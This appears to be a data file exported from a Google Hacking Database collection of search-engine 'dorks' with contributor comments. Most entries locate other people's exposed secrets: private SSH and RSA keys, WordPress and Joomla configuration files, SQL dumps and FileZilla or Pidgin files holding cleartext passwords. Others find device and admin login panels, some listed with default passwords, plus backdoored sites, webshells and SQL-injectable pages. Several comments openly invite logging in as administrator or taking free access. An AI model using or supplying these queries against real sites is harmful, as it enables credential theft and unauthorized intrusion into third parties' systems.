:::" & intext:"Customer Login" & "Any time & Any where"	intext:"Customer Login" & "Any time & Any where"	#Author: g00gl3 5c0u7
inurl:phpmyadmin/index.php & (intext:username & password & "Welcome to")	inurl:phpmyadmin/index.php & (intext:username & password & "Welcome to")	#Summary: PHP Admin login portals #Author: g00gl3 5c0u7
inurl:~~joomla3.txt filetype:txt	inurl:~~joomla3.txt filetype:txt	By this dork you can find juicy information joomla configuration files Author: Un0wn_X
filetype:txt inurl:~~Wordpress2.txt	filetype:txt inurl:~~Wordpress2.txt	This dork can be used to find symlinked Wordpress configuration files of other web sites
-site:simplemachines.org "These are the paths and URLs to your SMF installation"	-site:simplemachines.org "These are the paths and URLs to your SMF installation"	Dork: -site:simplemachines.org "These are the paths and URLs to your SMF installation" Details: This google dork finds sites with the Simple Machines repair_settings.php file uploaded to the root directory. This gives unauthenticated access to the SQL username and password for the forum.
intitle:"index of" myshare	intitle:"index of" myshare	Google search for shared HDD directories or shared directories on servers. Gives access to often unconsciously shared documents, programs or sensitive information. Also are often other directories on these drives accessible. Dork by : redN00ws
intitle:"SPA504G Configuration"	intitle:"SPA504G Configuration"	Dork : intitle:"SPA504G Configuration" Result : Gives access to Cisco SPA504G Configuration Utility for IP phones Screenshot Google Dork Dork found by : redN00ws
inurl:"/cgi-mod/index.cgi"	inurl:"/cgi-mod/index.cgi"	Returns login pages for various Barracuda Networks branded hardware spam filters and mail archivers. 4N6 Security
inurl:"/webcm?getpage="	inurl:"/webcm?getpage="	Returns various Actiontec (and often Qwest) branded routers' login pages.

		4N6 Security
intitle:"Web Client for EDVS"	intitle:"Web Client for EDVS"	Yet another DVR system. Probably requires Java to display. 4N6 Security
intitle:index.of intext:.ssh	intitle:index.of intext:.ssh	Find peoples ssh public and private keys - tmc / #havok
inurl:*/webalizer/* intitle:"Usage Statistics"	inurl:*/webalizer/* intitle:"Usage Statistics"	*Obrigado,*
intitle:"Comrex ACCESS Rack"	intitle:"Comrex ACCESS Rack"	IP Codecs offering "studio quality audio and video over wired and wireless IP circuits". Used in studio-grade radio broadcasting over the web. More product information here: http://www.comrex.com/products.html. This Google search will return (some, but not hundreds of) web-facing login portals for this type of device. Requires JavaScript and Flash for viewer to work. Default login: comrex comrex. 4N6 Security
site:github.com inurl:sftp-config.json intext:/wp-content/	site:github.com inurl:sftp-config.json intext:/wp-content/	Finds disclosed ftp FTP for Wordpress installs, which have been pushed to a public repo on GitHub. Credit: RogueCoder
filetype:php intext:"PROJECT HONEY POT ADDRESS DISTRIBUTION SCRIPT"	filetype:php intext:"PROJECT HONEY POT ADDRESS DISTRIBUTION SCRIPT"	Project Honey Pot anti-spammer detection (http://www.projecthoneypot.org/) Can identify the honeypot and get the site's honeypot keys -- -[Voluntas Vincit Omnia]- website http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
inurl:config "fetch = +refs/heads/*:refs/remotes/origin/*"	inurl:config "fetch = +refs/heads/*:refs/remotes/origin/*"	Git config file Easy way to find Git Repositories -- -[Voluntas Vincit Omnia]- website http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
intitle:"IPCam Client"	intitle:"IPCam Client"	Foscam IPCam By default these cameras attach to the myfoscam.org DDNS. So you could add site:myfoscam.org. On the otherhand if

		you're hunting for DDNS servers, you could negate that site and examine the other results. -- -[Voluntas Vincit Omnia]- website http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
inurl:/wp-content/uploads/ filetype:sql	inurl:/wp-content/uploads/ filetype:sql	Google dork for WordPress database backup file (sql): inurl:/wp-content/uploads/ filetype:sql By sm0k3 (http://sm0k3.net - Sm0k3 HQ) _____ With regards, sm0k3 Any questions: info@sm0k3.net Administration issues: admin@sm0k3.net Want to submit an order: submit@sm0k3.net Jabber: sm0k3@im.sm0k3.net Blog: http://sm0k3.net
site:github.com inurl:"known_hosts" "ssh-rsa"	site:github.com inurl:"known_hosts" "ssh-rsa"	Finds SSH known_hosts files on GitHub. - Andy G - twitter.com/vxhex
site:github.com inurl:"id_rsa" -inurl:"pub"	site:github.com inurl:"id_rsa" -inurl:"pub"	Finds private SSH keys on GitHub. - Andy G - twitter.com/vxhex
inurl:"/module.php/core/loginuserpass.php"	inurl:"/module.php/core/loginuserpass.php"	Finds SimpleSAMLphp login pages. - Andy G - twitter.com/vxhex
inurl:"/jenkins/login" "Page generated"	inurl:"/jenkins/login" "Page generated"	Finds login pages for Jenkins continuous integration servers. - Andy G - twitter.com/vxhex
"inurl:/data/nanoadmin.php"	"inurl:/data/nanoadmin.php"	Hi, I would like to submit this GHDB which allow to find out nanoCMS administration pages : *inurl:"/data/nanoadmin.php"* Best regards, Antonino Napoli
intitle:"uploader by ghost-dz" ext:php	intitle:"uploader by ghost-dz" ext:php	intitle:"uploader by ghost-dz" ext:php
filetype:bak (inurl:php | inurl:asp | inurl:rb)	filetype:bak (inurl:php | inurl:asp | inurl:rb)	This one could be used to find all sorts of backup data, but this example is limited to just common webapp extensions -- -[Voluntas Vincit Omnia]- website

		http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
intitle:"index of" intext:".ds_store"	intitle:"index of" intext:".ds_store"	Mac OSX directories -- -[Voluntas Vincit Omnia]- website http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
inurl:tar filetype:gz	inurl:tar filetype:gz	Tar files Contain user and group information (in addition to potentially useful files) -- -[Voluntas Vincit Omnia]- website http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
intitle:"RT at a glance" intext:"quick search"	intitle:"RT at a glance" intext:"quick search"	RT Request Tracker Ticket Database http://www.bestpractical.com/rt/ -- -[Voluntas Vincit Omnia]- website http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
inurl:"jmx-console/HtmlAdaptor" intitle:Mbean	inurl:"jmx-console/HtmlAdaptor" intitle:Mbean	JBoss http://docs.jboss.org/jbossas/docs/Server_Configuration_Guide/4/html/Connecting_to_the_JMX_Server-Inspecting_the_Server___the_JMX_Console_Web_Application.html -- -[Voluntas Vincit Omnia]- website http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
filetype:php intext:"!C99Shell v. 1.0 beta"	filetype:php intext:"!C99Shell v. 1.0 beta"	php backdoor: c99 shell -- -[Voluntas Vincit Omnia]- website http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
filetype:xml inurl:sitemap	filetype:xml inurl:sitemap	Sitemaps, the opposite of Web Robots Exclusion Detail directory and page map -- -[Voluntas Vincit Omnia]- website http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
filetype:jnlp	filetype:jnlp	Java Web Start (Java Network Launch

		Protocol) -- -[Voluntas Vincit Omnia]- website http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
inurl:mikrotik filetype:backup	inurl:mikrotik filetype:backup	mikrotik url backups uploaded.. then.. credentials cracked via http://mikrotikpasswordrecovery.com Best Regards, kn0wl13dg3 - underc0de team.- www.underc0de.org kn0w13dg3.blogspot.com
'apc info' 'apc.php?SCOPE='	'apc info' 'apc.php?SCOPE='	This dork will locate Unsecured PHP APC Installations. With regards, Shubham Mittal (Hack Planet Technologies) http://hackplanet.in
intext: intext: intext: intext: intext:	intext: intext: intext: intext: intext:	More than 100k sites affected It will show asp sites that are vulnerable to sql injection (These links actually show pages which are attacked by mass Sql Injection...which means they are vulnerable to sql Injection) #Author ----- pgolecha Palash Golecha twitter- @pgolecha12
ext:xml ("mode_passive"|"mode_default")	ext:xml ("mode_passive"|"mode_default")	OffSec: So the dork is: ext:xml ("mode_passive"|"mode_default") This dork finds Filezilla XML files. To be more specific; recentservers.xml sitemanager.xml filezilla.xml These files contain clear text usernames and passwords. They also contain the hostname or IP to connect to as well as the port. Most of these results will be for FTP however, you can also get port 22 to SSH in. This dork of course can be modified to target a specific website by appending site:whateversite.com. You can also look for a specific username like root by appending "root" to the dork. Regards, necrodamus http://www.twitter.com/necrodamus2600 http://www.photobucket.com/profile/necrodamus2600
filetype:xls	filetype:xls "username | password"	filetype:xls "username | password" This

"username | password"		search reveals usernames and/or passwords of the xls documents. by Stakewinner00
inurl:ckfinder intext:"ckfinder.html" intitle:"Index of /ckfinder"	inurl:ckfinder intext:"ckfinder.html" intitle:"Index of /ckfinder"	Dork: inurl:ckfinder intext:"ckfinder.html" intitle:"Index of /ckfinder" Use this dork to find root directory of CKFinder (all versions) with ckfinder.html file (used to upload, modify and delete files on the server) Submitted by: CodiObert
intitle:C0ded By web.sniper	intitle:C0ded By web.sniper	User & Domain || Symlink Using this dork you can find the User and the Domains of the Server... intitle:C0ded By web.sniper Author: Un0wn_X
inurl:.com/configuration.php-dist	inurl:.com/configuration.php-dist	Finds the configuration files of the PHP Database on the server. By Chintan GurjarRahul Tygi
intitle:"Pyxis Mobile Test Page" inurl:"mpTest.aspx"	intitle:"Pyxis Mobile Test Page" inurl:"mpTest.aspx"	Pyxis Mobile Test Page intitle:"Pyxis Mobile Test Page" inurl:"mpTest.aspx"
inurl:finger.cgi	inurl:finger.cgi	Finger Submitted by: Christy Philip Mathew
inurl:32400/web/index.html	inurl:32400/web/index.html	Submitting this for the GHDB. These are web accessible Plex Media Servers where you can watch/listen to other people's media collections. FYI
"parent directory" proftpdpasswd intitle:"index of" -google	"parent directory" proftpdpasswd intitle:"index of" -google	This dork is based on this: http://www.exploit-db.com/ghdb/1212/ but improved cause that is useless, instead of this: "parent directory" proftpdpasswd intitle:"index of" -google Best regards, Nemesis
intitle:"dd-wrt info" intext:"Firmware: DD-WRT"	intitle:"dd-wrt info" intext:"Firmware: DD-WRT"	This dork finds web interfaces of various routers using custom firmware DD-WRT. Default login: root Default password: admin greetings, uA
inurl:"/level/13|14|15/exec/"	inurl:"/level/13|14|15/exec/"	inurl:"/level/13|14|15/exec/" Cisco IOS HTTP Auth Vulnerability .. Command before exec/ . Example exec/-/?
inurl:"r00t.php"	Re: inurl:"r00t.php"	This dork finds websites that were hacked, backdoored and contains their system information e.g: Linux

		web.air51.ru 2.6.32-41-server #89-Ubuntu SMP Fri Apr 27 22:33:31 UTC 2012 x86_64. Jay Turla a.k.a shipcode
inurl:"/dbman/default.pass"	inurl:"/dbman/default.pass"	A path to a DES encrypted password for DBMan (http://www.gossamer-threads.com/products/archive.html) ranging from Guest to Admin account, this is often found coupled with cgi-telnet.pl (http://www.rohitab.com/cgi-telnet) which provides an admin login, by default and the password provided by DBMan's path /dbman/default.pass I have already posted this to packetstorm on June 7th 2004, called cgitelnetdbman (http://packetstormsecurity.org/files/29530/cgitelnetdbman.pdf.html) The 'Dork' is *inurl:"/dbman/default.pass" * Lawrence Lavigne (ratdance) -suidrewt
inurl:"InfoViewApp/logon.jsp"	inurl:"InfoViewApp/logon.jsp"	Google Hacking *SAP Business Object 3.1 XI* inurl:"InfoViewApp/logon.jsp" twitter @firebitsbr
inurl:phpliteadmin.php	inurl:phpliteadmin.php	The default password is 'admin'
inurl:"Orion/SummaryView.aspx" intext:"Orion Core"	inurl:"Orion/SummaryView.aspx" intext:"Orion Core"	Hello, Enumerate Solarwinds Orion network monitoring portals. In some cases, the portal can be accessed without authenticating. -Sean
allinurl:"User_info/auth_user_file.txt"	allinurl:"User_info/auth_user_file.txt"	Google dork for find user info and configuration password of DCForum allinurl:"User_info/auth_user_file.txt" - Ajith Kp
intext:"Fatal error: Class 'Red_Action' not found in"	intext:"Fatal error: Class 'Red_Action' not found in"	Dork to find Plugin errors in wordpress websites Dork - intext:"Fatal error: Class 'Red_Action' not found in"
inurl:newsnab/www/automated.config.php	inurl:newsnab/www/automated.config.php	Usenet Accounts from Newsnab configs inurl:newsnab/www/automated.config.php Author: rmccurdy.com yay free newsgroup access ! ********** ********** ******** The information in this email is confidential and may be

		legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorized. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. When addressed to our clients any opinions or advice contained in this email are subject to the terms and conditions expressed in the governing KPMG client engagement letter. ********** ********** ********
inurl:admin intext:username= AND email= AND password= OR pass= filetype:xls	inurl:admin intext:username= AND email= AND password= OR pass= filetype:xls	-- nitish mehta
you really should fix this security hole by setting a password for user '.root'. inurl:/phpmyadmin intitle:localhost	you really should fix this security hole by setting a password for user '.root'. inurl:/phpmyadmin intitle:localhost	Gives sites with default username root and no password -- nitish mehta
inurl:/wp-content/w3tc/dbcache/	inurl:/wp-content/w3tc/dbcache/	- Jay Townsend
runtimevar softwareVersion=	runtimevar softwareVersion=	Hits: 807 Config file from Thomson home routers, sometimes it contains password's and user's encrypted Contains ACS servers info from ISP's
site:login.*.*	site:login.*.*	DORK:site:login.*.* Description: Allow User To View Login Panel Of Many WebSites.. Author:MTK DATED: 13-1-1
ext:xml ("proto='prpl-'" | "prpl-yahoo" | "prpl-silc" | "prpl-icq")	ext:xml ("proto='prpl-'" | "prpl-yahoo" | "prpl-silc" | "prpl-icq")	*Google Search:* https://www.google.com/search?q=ext:xml%20(%22proto='prpl-'%22%20|%20%22prpl-yahoo%22%20|%20%22prpl-

		silc%22%20|%20%22prpl-icq%22) *Description:* Find Accounds and Passwords from Pidgin Users. Google limit queries to 32 words so it?s impossible to search for all Account-Types in one query! List of all Params: Feel free to build your own search query. proto='prpl-'; prpl-silc; prpl-simple; prpl-zephyr; prpl-bonjour; prpl-qq; prpl-meanwhile; prpl-novell; prpl-gg; prpl-myspace; prpl-msn; prpl-gtalk; prpl-icq; prpl-aim; prpl-yahoo; prpl-yahoojp; prpl-yah; prpl-irc; prpl-yabber *Author:* la.usch.io
ext:gnucash	ext:gnucash	*Google Search:* http://www.google.com/search?q=ext:gnucash *Description:* Find Gnucash Databases containing juicy info. *Author:* http://la.usch.io https://www.twitter.com/la_usch ---------- -- Cheers L@usch Web: http://la.usch.io Twitter: https://www.twitter.com/la_usch
filetype:inc OR filetype:bak OR filetype:old mysql_connect OR mysql_pconnect	filetype:inc OR filetype:bak OR filetype:old mysql_connect OR mysql_pconnect	Aggregates previous mysql_(p)connect google dorks and adds a new filetype. Searches common file extensions used as backups by PHP developers. These extensions are normally not interpreted as code by their server, so their database connection credentials can be viewed in plaintext. - Andy G - twitter.com/vxhex
intext:SQL syntax & inurl:index.php?=id & inurl:gov & inurl:gov	intext:SQL syntax & inurl:index.php?=id & inurl:gov & inurl:gov	# Exploit Title: SQLI Exploit # Google Dork: intext:SQL syntax & inurl:index.php?=id & inurl:gov & inurl:gov # Date: 25/December/2012 # Exploit Author: BeastarStealacar # Vendor Homepage: http://devil-zone.net/
filetype:sql insite:pass && user	filetype:sql insite:pass && user	Google Dork: filetype:sql insite:pass && user We Can get login username and password details from .sql file. Author: BlacK_WooD

filetype:txt inurl:wp-config.txt	filetype:txt inurl:wp-config.txt	Easily hunt the Wordpress configuration file in of remote web sites Author : Un0wn_X
"BEGIN RSA PRIVATE KEY" filetype:key -github	"BEGIN RSA PRIVATE KEY" filetype:key -github	To find private RSA Private SSL Keys
site:github.com inurl:sftp-config.json	site:github.com inurl:sftp-config.json	Find disclosed FTP login credentials in github repositories Credit: RogueCoder
"Welcome to phpMyAdmin" + "Username:" + "Password:" + "Language:" + "Afrikaans"	"Welcome to phpMyAdmin" + "Username:" + "Password:" + "Language:" + "Afrikaans"	Finds cPanel login pages. - Andy G - twitter.com/vxhex
inurl:github.com intext:sftp-conf.json +intext:/wp-content/	inurl:github.com intext:sftp-conf.json +intext:/wp-content/	Find FTP logins and full path disclosures pushed to github inurl:github.com intext:sftp-conf.json +intext:/wp-content/ -- RogueCoder
allinurl:"owa/auth/logon.aspx" -google -github	allinurl:"owa/auth/logon.aspx" -google -github	[+] Description - Find OWA login portals Regards, necrodamus http://www.twitter.com/necrodamus2600
intitle:Priv8 SCR	Re: intitle:Priv8 SCR	I am Un0wn_X Symlink User configs intitle:Priv8 SCR
filetype:config inurl:web.config inurl:ftp	filetype:config inurl:web.config inurl:ftp	This google dork to find sensitive information of MySqlServer , "uid, and password" in web.config through ftp.. filetype:config inurl:web.config inurl:ftp -Altamimi
intitle:"RouterOS router configuration page"	intitle:"RouterOS router configuration page"	Returns login portals for Microtik routers running RouterOS version 5 and up. 4N6 Security
inurl:*/graphs* intitle:"Traffic and system resource graphing"	inurl:*/graphs* intitle:"Traffic and system resource graphing"	With this search you can view results for mikrotik graphics interfaces *Obrigado,*
inurl:"struts" filetype:action	inurl:"struts" filetype:action	Google search for actoin files wich could be explotable via CVE-2013-2251 "Multiple Remote Command

		Execution Vulnerabilities in Apache Struts"
ext:sql intext:@hotmail.com intext :password	ext:sql intext:@hotmail.com intext :password	By , NItish Mehta , www.illuminativeworks.com/blog https://www.facebook.com/illuminativeworks Illuminative Works(CEO & Founder)
intext:phpMyAdmin SQL Dump filetype:sql intext:INSERT INTO `admin` (`id`, `user`, `password`) VALUES -github	intext:phpMyAdmin SQL Dump filetype:sql intext:INSERT INTO `admin` (`id`, `user`, `password`) VALUES -github	intext:phpMyAdmin SQL Dump filetype:sql intext:INSERT INTO `admin` (`id`, `user`, `password`) VALUES -github How This Work? This dork will searches databases phpMyAdmin. Searches only sql formats and founds admin username and passwords to use this information to login as administrator Sorry for my english. I'm not a native speaker
filetype:password jmxremote	filetype:password jmxremote	Passwords for Java Management Extensions (JMX Remote) Used by jconsole, Eclipse's MAT, Java Visual VM, JmxCli http://docs.oracle.com/javase/6/docs/technotes/guides/management/agent.html -- -[Voluntas Vincit Omnia]- website http://www.erisresearch.org/ Google+ https://plus.google.com/u/0/114827336297709201563
inurl:/control/userimage.html	inurl:/control/userimage.html	Mobotix webcam search. yet another newer search
inurl:/administrator/index.php?autologin=1	inurl:/administrator/index.php?autologin=1	Title: google hacking username and password of joomla Google Dork: inurl:/administrator/index.php?autologin=1 Date: 2013-11-30 Author: Ashiyane Digital Security Team Software Link: www.joomla.org/ Version: joomla 2.5 Location: /administrator/index.php?autologin=1&passwd=[password]&username=[username]
ext:sql intext:@gmail.com intext:password	ext:sql intext:@gmail.com intext:password	author:haji
intext:charset_test= email=	intext:charset_test= email= default_persistent=	find facebook email and password ;)

default_persistent=		